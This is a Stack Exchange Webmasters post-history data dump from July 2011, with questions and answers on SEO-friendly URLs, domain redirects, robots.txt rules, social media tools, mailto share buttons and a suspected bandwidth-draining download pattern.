  <row Id="41968" PostHistoryTypeId="2" PostId="17455" RevisionGUID="cc753211-93d8-4e49-b489-c98fdb3933dd" CreationDate="2011-07-27T11:30:19.620" UserId="9223" Text="My question looks simple, but I would like to refresh it with experienced people...&#xD;&#xA;&#xD;&#xA;We are in 2011, search engines are now using hundreds or thousands of parameters to weight a page. The URL is only one of them, is it still so much of an impact in the search results? People are sharing URLs through URL shortener: short, long, ugly or nice URLs end up in the same way! People also share email by clicking on 'I like this', they don't copy paste URLs anymore, and when I do it and see people doing it, they never comment if an URL is long or short or anything...&#xD;&#xA;&#xD;&#xA;Is there still a need of having nice URL both for the users and search engines? If my rank on the search engine will change by 0.5% I don't really care... If I will make 2% of my user happy by having nice URLs I don't really care either...&#xD;&#xA;&#xD;&#xA;Your comments on that?&#xD;&#xA;&#xD;&#xA;Thanks :) Vincent" />
  <row Id="41969" PostHistoryTypeId="1" PostId="17455" RevisionGUID="cc753211-93d8-4e49-b489-c98fdb3933dd" CreationDate="2011-07-27T11:30:19.620" UserId="9223" Text="Should I rewrite my urls to make them pretty?" />
  <row Id="41970" PostHistoryTypeId="3" PostId="17455" RevisionGUID="cc753211-93d8-4e49-b489-c98fdb3933dd" CreationDate="2011-07-27T11:30:19.620" UserId="9223" Text="&lt;seo&gt;&lt;url-rewriting&gt;&lt;seo-friendly&gt;" />
  <row Id="41971" PostHistoryTypeId="10" PostId="17446" RevisionGUID="906104fb-eb1c-4eee-a760-e35b1f1afdc0" CreationDate="2011-07-27T11:35:39.243" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41972" PostHistoryTypeId="5" PostId="17453" RevisionGUID="55949257-a926-4846-9b91-91f2de6fc0dd" CreationDate="2011-07-27T11:39:32.457" UserId="1643" Comment="added 470 characters in body" Text="Hosting involves providing a server for your website, disk space, internet connection and the ability to manage this server. There are three broad types:&#xD;&#xA;&#xD;&#xA; - shared hosting is where many sites live on the one server&#xD;&#xA; - virtual hosting (or virtual private server - VPS) is where you have what looks like a server to yourself although physically it lives alongside other virtual servers on a real server&#xD;&#xA; - dedicated server is where you have a real server to yourself." />
  <row Id="41973" PostHistoryTypeId="24" PostId="17453" RevisionGUID="55949257-a926-4846-9b91-91f2de6fc0dd" CreationDate="2011-07-27T11:39:32.457" Comment="Proposed by 1643 approved by 1253 edit id of 456" />
  <row Id="41974" PostHistoryTypeId="5" PostId="17454" RevisionGUID="dbde0267-c793-4600-8161-bc841586b510" CreationDate="2011-07-27T11:39:32.783" UserId="1643" Comment="added 79 characters in body" Text="the service offered by companies to provide you with a server for your website." />
  <row Id="41975" PostHistoryTypeId="24" PostId="17454" RevisionGUID="dbde0267-c793-4600-8161-bc841586b510" CreationDate="2011-07-27T11:39:32.783" Comment="Proposed by 1643 approved by 1253 edit id of 457" />
  <row Id="41976" PostHistoryTypeId="5" PostId="17455" RevisionGUID="86848c70-c0fd-4552-999f-eda81eae503f" CreationDate="2011-07-27T11:42:33.173" UserId="1253" Comment="deleted 132 characters in body; edited title" Text="We are in 2011, search engines are now using hundreds or thousands of parameters to weight a page. The URL is only one of them, is it still so much of an impact in the search results? People are sharing URLs through URL shortener: short, long, ugly or nice URLs end up in the same way! People also share email by clicking on 'I like this', they don't copy paste URLs anymore, and when I do it and see people doing it, they never comment if an URL is long or short or anything...&#xD;&#xA;&#xD;&#xA;Is there still a need of having nice URL both for the users and search engines? If my rank on the search engine will change by 0.5% I don't really care... If I will make 2% of my user happy by having nice URLs I don't really care either...&#xD;&#xA;" />
  <row Id="41977" PostHistoryTypeId="4" PostId="17455" RevisionGUID="86848c70-c0fd-4552-999f-eda81eae503f" CreationDate="2011-07-27T11:42:33.173" UserId="1253" Comment="deleted 132 characters in body; edited title" Text="When is it worth it to make my URLs &quot;pretty&quot;?" />
  <row Id="41978" PostHistoryTypeId="2" PostId="17456" RevisionGUID="b236899e-680c-4500-9c87-f0b4be10a961" CreationDate="2011-07-27T11:46:14.810" UserId="1253" Text="Keywords in the URL is one of the more important SEO ranking factors. It's right up there with page titles and domain name. So if you wish to improve your search engine rankings significantly this is a no-brainer to do.&#xD;&#xA;&#xD;&#xA;You do want to do this for users as well. Yes, people use URLs shorteners and click on links etc but they do still type URLs by hand. Additionally, if you build your URLs properly, part of your URL can be missing but the page will still load. This is due to the ID for that pages being towards the front of the URL and the keywords being towards the end where the odds of the URL being missing is higher. Look at the URL of this page it's a perfect example of this.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41979" PostHistoryTypeId="2" PostId="17457" RevisionGUID="04d86f3a-9635-4915-8d58-5490722caf63" CreationDate="2011-07-27T12:19:09.957" UserId="8813" Text="I think this is a controversial issue as people do not know exactly the weight of URL keywords on the search algorythms. And it keeps changing... I am going to quote the author of &quot;The definitive Guide to Apache Mod_Rewrite&quot;, Rich Bowen:&#xD;&#xA;&#xD;&#xA;&gt; There are also people who believe that URLs that do not contain&#xD;&#xA;&gt; question marks, ampersands and other &quot;special characters&quot; will&#xD;&#xA;&gt; necessarily appear higher in the ranking of search engines. This is,&#xD;&#xA;&gt; for the most part, untrue. However, a large number of firms billing&#xD;&#xA;&gt; themselves as &quot;search engine optimization&quot; companies have made large&#xD;&#xA;&gt; sums of money by persuading people otherwise." />
  <row Id="41980" PostHistoryTypeId="25" PostId="17455" RevisionGUID="ddeb6fa1-0885-43f5-955e-d5a8d4ba436f" CreationDate="2011-07-27T12:32:04.543" Comment="http://twitter.com/#!/StackWebmasters/status/96196152373940224" />
  <row Id="41981" PostHistoryTypeId="17" PostId="17458" RevisionGUID="d0fe12c7-bda1-4b0a-af9f-f48cf272b26f" CreationDate="2011-07-27T12:34:05.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6843490/google-and-primary-domains" Text="" />
  <row Id="41982" PostHistoryTypeId="17" PostId="17459" RevisionGUID="5ba4b4d5-e980-4aa2-a0dc-fec0a379ef72" CreationDate="2011-07-27T12:34:05.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6843490/google-and-primary-domains" Text="" />
  <row Id="41983" PostHistoryTypeId="2" PostId="17459" RevisionGUID="0c4e2f6c-1ea7-4dcc-8af2-e675c30b176b" CreationDate="2011-07-27T11:28:59.673" UserId="8527" Text="You have to add a 301 permanent redirect from the old domain to the new one. See http://www.google.com/support/webmasters/bin/answer.py?answer=83105" />
  <row Id="41984" PostHistoryTypeId="2" PostId="17458" RevisionGUID="ef8dbc22-18b8-4a5a-9cde-ef011afbd74f" CreationDate="2011-07-27T11:24:01.943" UserDisplayName="mjjwatson" Text="I have a client's website that was previously on a domain, let's say craigaccounting.com, and now this will not be used as their primary domain. I want their primary domain to be cragaccountants.com, with the old domain just pointing to the new.&#xD;&#xA;&#xD;&#xA;At the moment, Google is listing craigaccounting.com as the domain, but I want this changed. I have submitted the new domain with webmasters - is this all I need to do?&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated." />
  <row Id="41985" PostHistoryTypeId="1" PostId="17458" RevisionGUID="ef8dbc22-18b8-4a5a-9cde-ef011afbd74f" CreationDate="2011-07-27T11:24:01.943" UserDisplayName="mjjwatson" Text="Google and primary domains" />
  <row Id="41986" PostHistoryTypeId="3" PostId="17458" RevisionGUID="ef8dbc22-18b8-4a5a-9cde-ef011afbd74f" CreationDate="2011-07-27T11:24:01.943" UserDisplayName="mjjwatson" Text="&lt;google&gt;&lt;domains&gt;" />
  <row Id="41987" PostHistoryTypeId="2" PostId="17460" RevisionGUID="1bcd2557-ed55-4428-b0ee-1df443ebe8be" CreationDate="2011-07-27T12:37:32.133" UserId="7801" Text="As a company we now have Facebook, LinkedIN, Twitter and now Google+, is there a way to easily manage all these accounts without having to log into them individually?&#xD;&#xA;&#xD;&#xA;Things like posting content to each one is becoming a full time job in itself, is there a way to post once that in turn posts to all other accounts? I used to use http://ping.fm/ a long time ago, has there been any advancements in something similar to this?&#xD;&#xA;&#xD;&#xA;With friend lists, news feeds etc etc for each one, I wish there was a way to manage them all in one place with a service/tool!" />
  <row Id="41988" PostHistoryTypeId="1" PostId="17460" RevisionGUID="1bcd2557-ed55-4428-b0ee-1df443ebe8be" CreationDate="2011-07-27T12:37:32.133" UserId="7801" Text="Suggestions on managing social media accounts" />
  <row Id="41989" PostHistoryTypeId="3" PostId="17460" RevisionGUID="1bcd2557-ed55-4428-b0ee-1df443ebe8be" CreationDate="2011-07-27T12:37:32.133" UserId="7801" Text="&lt;social-media&gt;&lt;social-networks&gt;&lt;social-networking&gt;" />
  <row Id="41990" PostHistoryTypeId="2" PostId="17461" RevisionGUID="26252751-8c65-4504-8b07-9382bc239d18" CreationDate="2011-07-27T13:03:54.310" UserId="5464" Text="Hi I would take a look at something like [Seesmic][1] which allows you to manage all your social accounts in one place. I have also read a lot about [radion6][2] although have no experience with that software. &#xD;&#xA;&#xD;&#xA;although i would say pushing all the same content out to each different network may not be the best approach as if people follow you across networks it could be seen as filling up the feeds with duplicate information. ( although i am aware a lot of people do this). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://seesmic.com/&#xD;&#xA;  [2]: http://www.radian6.com/" />
  <row Id="41991" PostHistoryTypeId="5" PostId="16109" RevisionGUID="99cd58d4-ab0c-4bc4-98f9-e6a0f64ca0bc" CreationDate="2011-07-27T13:11:01.587" UserId="8735" Comment="Updated the situation" Text="A SEO firm suggested changing the robots.txt to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;&#xD;&#xA;    Disallow: /*/&#xD;&#xA;    Allow: /ims/&#xD;&#xA;&#xD;&#xA;I'm not sure what that would do, but my guess is that is would tell all robots to index nothing but the ims folder. I understand the wildcard, but I'm confused by the slashes and don't know how they would play out in conjunction with the wildcard.&#xD;&#xA;&#xD;&#xA;*** Update ***&#xD;&#xA;I didn't mention that there is a sitemap listed in the robots.txt file, but according to one tech blogger, (*ETA: not true, see below*) he realized that sitemaps trump robots exclusions. So, even though this says in Google Webmaster Tools that everything with a trailing slash will not be indexed, the sitemap contains the important links.&#xD;&#xA;&#xD;&#xA;I did notice that the link count on Google went from 360 to 336, and the sitemap links under the URL scaled back to 3 from 6. I'm not sure the cause or what links were removed, though. Perhaps it cleaned out garbage.&#xD;&#xA;&#xD;&#xA;I'm still clueless why they would add in 'Allow: /ims/', that seems pointless.&#xD;&#xA;&#xD;&#xA;And a quick list of what would index according to the robots rules above (without the sitemap) using /*/:&#xD;&#xA;&#xD;&#xA;domain.com Indexed&#xD;&#xA;domain.com/page.html Indexed&#xD;&#xA;domain.com/folder Indexed&#xD;&#xA;domain.com/folder/ Not Indexed&#xD;&#xA;domain.com/folder/page.html Not Indexed&#xD;&#xA;&#xD;&#xA;*** Update: The Results are In ***&#xD;&#xA;Okay, for the sake of those wondering about using robots.txt to exclude everything and hoping that the sitemap will override, here is what happened.&#xD;&#xA;&#xD;&#xA;The SEO firm (not someone I hired, and a company I suggested against upon minimal research) basically set up a filter that the three major search engines followed. All indexed pages that were in a folder disappeared, except those which allowed worked without the trailing slash (domain.com/folder was indexed, but domain.com/folder/ was not). The only difference is that Google specifically used the sitemap declaration to pickup all the links and ignored the robots exclusion.&#xD;&#xA;&#xD;&#xA;On top of that, the sitemap links (which appear under the first search page result) vanished from the search engines. Eventually, I removed the disallow and allow lines and now I've seen a few of the sitemap links return a few days later." />
  <row Id="41992" PostHistoryTypeId="24" PostId="16109" RevisionGUID="99cd58d4-ab0c-4bc4-98f9-e6a0f64ca0bc" CreationDate="2011-07-27T13:11:01.587" Comment="Proposed by 8735 approved by 1253 edit id of 455" />
  <row Id="41993" PostHistoryTypeId="2" PostId="17462" RevisionGUID="5fcba3f1-44ce-4c4e-8a74-c989d9323b33" CreationDate="2011-07-27T13:11:14.977" UserId="2898" Text="Paul is right, this is accomplished via the new rel=&quot;author&quot; markup offered by Google. &#xD;&#xA;&#xD;&#xA;Joost has a great technical write up on the topic but I did want to clarify that you usually need a set of three links. &#xD;&#xA;&#xD;&#xA;* A link from the content to the author page using rel=&quot;author&quot;&#xD;&#xA;* A link from the author page to your Google Profile using rel=&quot;me&quot;  &#xD;&#xA;* A link from your Google Profile to your author page using rel=&quot;me&quot;&#xD;&#xA;&#xD;&#xA;There is actually a streamlined way (with two links) but it seems to be less reliable at this stage, in part because the Rich Snippets Testing Tool had a bug that would produce a false negative.&#xD;&#xA;&#xD;&#xA;For more details, including how long it may take from implementation to display, you can visit my own post on [How To Implement Rel=Author][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blindfiveyearold.com/how-to-implement-rel-author" />
  <row Id="41994" PostHistoryTypeId="5" PostId="17364" RevisionGUID="30808c04-5d19-4df4-a5cd-7e09d1dc8d5c" CreationDate="2011-07-27T13:11:28.810" UserId="1131" Comment="fixed formating" Text="I'm using .htaccess with RewriteRule to create SEO-friendly URL's. However, I have a few questions about this:  &#xD;&#xA;&#xD;&#xA; 1. First of all, I noticed many websites end their URL's with .html (or another extension). For example: `http://www.example.com/news/564/seo-improvements.html`  &#xD;&#xA;Does ending an URL with an extension have an impact on SEO? &#xD;&#xA;&#xD;&#xA; 2. Which URL is the best (again, for SEO): &#xD;&#xA;&#xD;&#xA; `http://www.example.com/news/564/seo-improvements.html`&lt;br/&gt;&#xD;&#xA; `http://www.example.com/news/564-seo-improvements.html`&#xD;&#xA;&#xD;&#xA; I've noticed both notations are often being used.&#xD;&#xA;&#xD;&#xA; 3. On many websites, I notice you can alter the text part of the URL, which is followed by a redirect. For example:&#xD;&#xA;&#xD;&#xA;    `http://www.example.com/news/564/seo-improvements.html` &lt;-- original URL&#xD;&#xA;    `http://www.example.com/news/564/sefkdjfjdfkdjfk.html`  &lt;-- altered URL, will redirect to the first one&#xD;&#xA;&#xD;&#xA; How can such a redirect be done?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;When creating this thread, I got a warning this question may be subjective - is it? Isn't there a &quot;correct&quot; answer on these questions?" />
  <row Id="41995" PostHistoryTypeId="24" PostId="17364" RevisionGUID="30808c04-5d19-4df4-a5cd-7e09d1dc8d5c" CreationDate="2011-07-27T13:11:28.810" Comment="Proposed by 1131 approved by 1253 edit id of 458" />
  <row Id="41996" PostHistoryTypeId="2" PostId="17463" RevisionGUID="2ead5af9-4b13-4461-bc50-823ee2d7b9a6" CreationDate="2011-07-27T13:12:35.253" UserId="5464" Text="Hi i had a question posed to me. &#xD;&#xA;&#xD;&#xA;In that a client feels having an old copyright date displayed in the footer across a site will have a negative SEO impact? My opinion is that it should make very little difference SEO wise and should only change if a substantial change has taken place with regard to the design of the site. &#xD;&#xA;&#xD;&#xA;I have done some Googling but have not come across anything &quot;concrete&quot; any pointers or if you have had experience changing from a static to a dynamically change year and the effect it had that would be great. " />
  <row Id="41997" PostHistoryTypeId="1" PostId="17463" RevisionGUID="2ead5af9-4b13-4461-bc50-823ee2d7b9a6" CreationDate="2011-07-27T13:12:35.253" UserId="5464" Text="Does having an old copyright date on a website have any negitve SEO impact?" />
  <row Id="41998" PostHistoryTypeId="3" PostId="17463" RevisionGUID="2ead5af9-4b13-4461-bc50-823ee2d7b9a6" CreationDate="2011-07-27T13:12:35.253" UserId="5464" Text="&lt;seo&gt;" />
  <row Id="41999" PostHistoryTypeId="2" PostId="17464" RevisionGUID="a64d690a-265d-4f8f-88c6-54870b7435e1" CreationDate="2011-07-27T13:20:09.257" UserId="1253" Text="It makes no difference for SEO. I've had my hand in over 150 websites and none of them have seen negative or positive SEO effects of having an old or new copyright. The date of the copyright has nothing to do with the relevancy of the page content.&#xD;&#xA;&#xD;&#xA;This is a classic example of clients putting their noses someplace it doesn't belong." />
  <row Id="42000" PostHistoryTypeId="5" PostId="17463" RevisionGUID="d793ddf5-c26f-45b7-9c24-96d470f10e85" CreationDate="2011-07-27T13:22:42.250" UserId="1643" Comment="typos" Text="I had a question posed to me. &#xD;&#xA;&#xD;&#xA;In that a client feels having an old copyright date displayed in the footer across a site will have a negative SEO impact? My opinion is that it should make very little difference SEO wise and should only change if a substantial change has taken place with regard to the design of the site. &#xD;&#xA;&#xD;&#xA;I have done some Googling but have not come across anything &quot;concrete&quot; any pointers or if you have had experience changing from a static to a dynamically change year and the effect it had that would be great. " />
  <row Id="42001" PostHistoryTypeId="4" PostId="17463" RevisionGUID="d793ddf5-c26f-45b7-9c24-96d470f10e85" CreationDate="2011-07-27T13:22:42.250" UserId="1643" Comment="typos" Text="Does having an old copyright date on a website have any negative SEO impact?" />
  <row Id="42002" PostHistoryTypeId="2" PostId="17465" RevisionGUID="0d14125f-9630-48b8-a7a9-dade4bde666f" CreationDate="2011-07-27T13:23:49.053" UserId="1643" Text="It doesn't have any SEO impact, but for human beings looking at your site it might seem like it hasn't been updated for a while (unless there's other stuff like dated news items/blog posts on the front page). That's going to make them wonder if what they read is up to date." />
  <row Id="42003" PostHistoryTypeId="5" PostId="17463" RevisionGUID="57ee9a26-539f-402a-9e4e-c4105d5ffd8a" CreationDate="2011-07-27T13:36:52.697" UserId="1253" Comment="modified tags, minor text edits" Text="In that a client feels having an old copyright date displayed in the footer across a site will have a negative SEO impact? My opinion is that it should make very little difference SEO wise and should only change if a substantial change has taken place with regard to the design of the site. &#xD;&#xA;&#xD;&#xA;I have done some Googling but have not come across anything &quot;concrete&quot; any pointers or if you have had experience changing from a static to a dynamically change year and the effect it had that would be great. " />
  <row Id="42004" PostHistoryTypeId="6" PostId="17463" RevisionGUID="57ee9a26-539f-402a-9e4e-c4105d5ffd8a" CreationDate="2011-07-27T13:36:52.697" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;copyright&gt;" />
  <row Id="42005" PostHistoryTypeId="2" PostId="17466" RevisionGUID="6979ff38-834d-46e9-8ca6-084c97f35546" CreationDate="2011-07-27T13:44:55.290" UserId="8390" Text="I have very simple HTML website with a button which takes you a specific book link on amazon.com. But I would now like to make the link a bit more sophisticated - if the visitor is from the UK, I would like the button to take them to the same book on amazon.co.uk.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42006" PostHistoryTypeId="1" PostId="17466" RevisionGUID="6979ff38-834d-46e9-8ca6-084c97f35546" CreationDate="2011-07-27T13:44:55.290" UserId="8390" Text="Link to different locations depending on location of visitor" />
  <row Id="42007" PostHistoryTypeId="3" PostId="17466" RevisionGUID="6979ff38-834d-46e9-8ca6-084c97f35546" CreationDate="2011-07-27T13:44:55.290" UserId="8390" Text="&lt;html&gt;" />
  <row Id="42008" PostHistoryTypeId="2" PostId="17467" RevisionGUID="c066dcd7-2e84-4dec-96c8-61d87bba25a7" CreationDate="2011-07-27T13:49:20.123" UserId="1643" Text="What you want is geolocation by IP address. This can be done on your server, but if you're using just HTML then you'll need to do it on the browser. So if you look for &quot;IP geolocation javascript&quot; then that will give you some companies that provide it. &#xD;&#xA;&#xD;&#xA;If you don't want to pay any money then there are free services, but you have to ask yourself if they are reliable.&#xD;&#xA;&#xD;&#xA;Sometimes these services get it wrong, so you may want to build in an override so someone can say &quot;actually I am in the UK even though you think I'm not&quot;." />
  <row Id="42009" PostHistoryTypeId="5" PostId="17466" RevisionGUID="e136e4b5-8caa-4056-b06d-c71d22cc07d4" CreationDate="2011-07-27T13:51:32.960" UserId="8390" Comment="added 34 characters in body" Text="I have very simple HTML website with a button which takes you a specific book link on amazon.com. But I would now like to make the link a bit more sophisticated - if the visitor is from the UK, I would like the button to take them to the same book on amazon.co.uk. Is there a simple way to do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42010" PostHistoryTypeId="5" PostId="17461" RevisionGUID="e67b64e1-bb7b-4521-9f9a-0c5bfc2f4d77" CreationDate="2011-07-27T13:56:32.953" UserId="7801" Comment="Added tweetdeck" Text="Hi I would take a look at something like [Seesmic][1] which allows you to manage all your social accounts in one place. I have also read a lot about [radion6][2] although have no experience with that software. [Tweetdeck][3] is another example.&#xD;&#xA;&#xD;&#xA;although i would say pushing all the same content out to each different network may not be the best approach as if people follow you across networks it could be seen as filling up the feeds with duplicate information. ( although i am aware a lot of people do this). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://seesmic.com/&#xD;&#xA;  [2]: http://www.radian6.com/&#xD;&#xA;  [3]: http://www.tweetdeck.com/" />
  <row Id="42011" PostHistoryTypeId="24" PostId="17461" RevisionGUID="e67b64e1-bb7b-4521-9f9a-0c5bfc2f4d77" CreationDate="2011-07-27T13:56:32.953" Comment="Proposed by 7801 approved by 108 edit id of 459" />
  <row Id="42012" PostHistoryTypeId="2" PostId="17468" RevisionGUID="577fc77c-aac2-482f-ad48-e1fa3c1c31eb" CreationDate="2011-07-27T14:08:18.687" UserId="5809" Text="My site was hit by Google Panda on June 16th.  After that I did everything I could to de-index and de-link the bad content.&#xD;&#xA;&#xD;&#xA;According to some reports, the google panda algorithm was run again on July 26th.  My site was not affected in absolutely any way.  Still penalized - no more no less.&#xD;&#xA;&#xD;&#xA;Is it possible to get de-penalized? This is really damaging/killing my business as I had spent over 1000 hours investing in SEO for this business.&#xD;&#xA;&#xD;&#xA;My site is comehike.com - thanks!" />
  <row Id="42013" PostHistoryTypeId="1" PostId="17468" RevisionGUID="577fc77c-aac2-482f-ad48-e1fa3c1c31eb" CreationDate="2011-07-27T14:08:18.687" UserId="5809" Text="Getting de-penalized from Google Panda?" />
  <row Id="42014" PostHistoryTypeId="3" PostId="17468" RevisionGUID="577fc77c-aac2-482f-ad48-e1fa3c1c31eb" CreationDate="2011-07-27T14:08:18.687" UserId="5809" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="42015" PostHistoryTypeId="2" PostId="17469" RevisionGUID="aefcacae-d74d-458c-b8f2-100d39b72609" CreationDate="2011-07-27T14:11:49.920" UserId="1253" Text="Panda isn't a penalty that is applied to a website. It's an algorithm that weeds out low quality content. What you're probably experiencing is due to a lack of quality content on your website. The pages within your own website can be a valuable way to improve your site's pages' rankings due to cross-linking. If a large chunk of your content is now removed or devalued by Google then they are no longer helping your other pages rank well.&#xD;&#xA;&#xD;&#xA;So, there isn't anything you can do to remove the penalty since it doesn't exist. Instead you need to replace all of the deleted or devalued content with new content that is high quality. Then you need to acquire quality links to those pages and also liberally interlink between them. &#xD;&#xA;&#xD;&#xA;Then the waiting game begins.&#xD;&#xA;" />
  <row Id="42016" PostHistoryTypeId="5" PostId="17468" RevisionGUID="1e35c854-324d-4f20-ae8e-6b8e78be74bf" CreationDate="2011-07-27T14:14:45.800" UserId="1253" Comment="modified tags, minor text edits" Text="My site was hit by Google Panda on June 16th.  After that I did everything I could to de-index and de-link the bad content.&#xD;&#xA;&#xD;&#xA;According to some reports, the google panda algorithm was run again on July 26th.  My site was not affected in absolutely any way.  Still penalized - no more no less.&#xD;&#xA;&#xD;&#xA;Is it possible to get de-penalized? This is really damaging/killing my business as I had spent over 1000 hours investing in SEO for this business.&#xD;&#xA;" />
  <row Id="42017" PostHistoryTypeId="6" PostId="17468" RevisionGUID="1e35c854-324d-4f20-ae8e-6b8e78be74bf" CreationDate="2011-07-27T14:14:45.800" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;&lt;google-panda-algorithm&gt;" />
  <row Id="42018" PostHistoryTypeId="2" PostId="17470" RevisionGUID="17ebaedd-4ba4-4540-aef6-f0b1d5a6dc19" CreationDate="2011-07-27T14:57:56.387" UserId="3893" Text="I'm adding Facebook like, Tweet, Google +1, LinkedIn Share buttons to some webpages.&#xD;&#xA;&#xD;&#xA;I'm also adding an email this link button as well.&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Currently I'm doing it like so.. I have nice button made up, and am using this link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;mailto:?subject=Title to send&amp;body=Hi%0D%0DI thought you may be interested in this link.%0D%0Dhttp://www.example.com/&quot;&gt;&#xD;&#xA;    Email this&#xD;&#xA;    &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Someone has suggested that I instead bring up a box and give users option to send straight from that. I.e. I would have pre-decided on the message, and the user would enter their email address, and the recipients. The end message would come from our email, and say something like bob@smith.com shared this link with you.&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;I have two questions:&#xD;&#xA;&#xD;&#xA; - Is that a better of doing it?&#xD;&#xA; - How reliable is `mailto`? Will I have to do extensive testing?&#xD;&#xA;&#xD;&#xA;Basically I would like some advice on best practices, and what you may have done in the past, thank you :-)" />
  <row Id="42019" PostHistoryTypeId="1" PostId="17470" RevisionGUID="17ebaedd-4ba4-4540-aef6-f0b1d5a6dc19" CreationDate="2011-07-27T14:57:56.387" UserId="3893" Text="How to implement an email this link button" />
  <row Id="42020" PostHistoryTypeId="3" PostId="17470" RevisionGUID="17ebaedd-4ba4-4540-aef6-f0b1d5a6dc19" CreationDate="2011-07-27T14:57:56.387" UserId="3893" Text="&lt;email&gt;&lt;social-media&gt;&lt;button&gt;&lt;share-this&gt;" />
  <row Id="42021" PostHistoryTypeId="25" PostId="17463" RevisionGUID="fdbcacdd-51cb-43a8-87b9-dbc458dac407" CreationDate="2011-07-27T15:32:05.137" Comment="http://twitter.com/#!/StackWebmasters/status/96241453705084928" />
  <row Id="42022" PostHistoryTypeId="2" PostId="17471" RevisionGUID="80adf232-2553-4afb-8f3a-f15f198a0c4b" CreationDate="2011-07-27T15:46:25.247" UserId="1643" Text="The advantage of bringing up a box is that it doesn't rely on the user having their email client configured properly on the machine they are using. So it works even if they're using someone else's machine, or a public machine at an internet cafe. With the increasing rise of webmail like Gmail that's always going to be the case. However you do need more work on your server to get it to work. &#xD;&#xA;&#xD;&#xA;Another advantage is that you can have more control over what goes in the email. It would be courtesy though, and give more confidence, to show the user what the message is going to say before they send it.&#xD;&#xA;&#xD;&#xA;Mailto has been around for ages and is well supported, so you don't need to do much testing. It's easier for you to implement." />
  <row Id="42023" PostHistoryTypeId="5" PostId="17470" RevisionGUID="32374fec-210f-4867-a57a-c71518e14e36" CreationDate="2011-07-27T15:47:03.967" UserId="1643" Comment="Removed unnecessary line breaks" Text="I'm adding Facebook like, Tweet, Google +1, LinkedIn Share buttons to some webpages.&#xD;&#xA;&#xD;&#xA;I'm also adding an email this link button as well.&#xD;&#xA;&#xD;&#xA;Currently I'm doing it like so.. I have nice button made up, and am using this link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;mailto:?subject=Title to send&amp;body=Hi%0D%0DI thought you may be interested in this link.%0D%0Dhttp://www.example.com/&quot;&gt;&#xD;&#xA;    Email this&#xD;&#xA;    &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Someone has suggested that I instead bring up a box and give users option to send straight from that. I.e. I would have pre-decided on the message, and the user would enter their email address, and the recipients. The end message would come from our email, and say something like bob@smith.com shared this link with you.&#xD;&#xA;&#xD;&#xA;I have two questions:&#xD;&#xA;&#xD;&#xA; - Is that a better of doing it?&#xD;&#xA; - How reliable is `mailto`? Will I have to do extensive testing?&#xD;&#xA;&#xD;&#xA;Basically I would like some advice on best practices, and what you may have done in the past, thank you :-)" />
  <row Id="42024" PostHistoryTypeId="5" PostId="17399" RevisionGUID="93f0fd22-992c-4f34-a2bb-8d48bdfae980" CreationDate="2011-07-27T15:54:50.497" UserId="8799" Comment="added 22 characters in body" Text="Tom, you stepped into a big, gigantic, outstanding, and *pretty scary* gray area.&#xD;&#xA;&#xD;&#xA;Random images used for descriptive purposes *should all* be correctly licensed.&#xD;&#xA;&#xD;&#xA;In practice even bloggers using [wikimedia commons][1] pictures (those should be free for all uses as long as they are correctly credited) hardly meet the copyright's holder requirements. (that is: they don't attribute correctly)&#xD;&#xA;&#xD;&#xA;The problem is so huge even newspapers themselves are getting into the habit of *redistributing* naively copied pictures (usually funny ones) for their online versions.&#xD;&#xA;&#xD;&#xA;  [1]: http://commons.wikimedia.org/wiki/Main_Page&#xD;&#xA;&#xD;&#xA;When confronted about that, many will murmur things about *fair use* and stuff... but *fair use* is only in USA and pretty vague." />
  <row Id="42025" PostHistoryTypeId="2" PostId="17472" RevisionGUID="b0ac5535-c498-43ba-90f7-2463f18fef4e" CreationDate="2011-07-27T15:59:18.167" UserId="5148" Text="You could try A1 Website Analyzer. It will tell you of all URLs that use/link/redirect to an URL + at which lines the links are. Check this [analyze internal links][1] tutorial&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/products/website-analyzer/help/website-analyze-links-checks/" />
  <row Id="42026" PostHistoryTypeId="2" PostId="17473" RevisionGUID="b36302a2-fcef-40a8-ab64-bdb24713d929" CreationDate="2011-07-27T16:38:05.760" UserId="5727" Text="We serve a 13mb download which is reasonably popular, around 150-300 downloads a day.&#xD;&#xA;&#xD;&#xA;Today we have had 1,200 downloads and as I browse the logs I find they all originate from the same IP address.  GeoIP says it originates from Russia, Moscow although that may be inaccurate.&#xD;&#xA;&#xD;&#xA;A new download is being requested currently every 6 seconds.  The HTTP referer of each of these downloads is the correct page the file is hosted on, however Google analytics is not showing any signs of heavy traffic.&#xD;&#xA;&#xD;&#xA;Are we being attacked?  The server is coping fine, but it's going to soak all our bandwidth up.  Is that the purpose of it?&#xD;&#xA;&#xD;&#xA;On http://www.projecthoneypot.org the IP is showing as &quot;detected behavior from the IP address consistent with that of a mail server and dictionary attacker&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42027" PostHistoryTypeId="1" PostId="17473" RevisionGUID="b36302a2-fcef-40a8-ab64-bdb24713d929" CreationDate="2011-07-27T16:38:05.760" UserId="5727" Text="Are we being attacked?" />
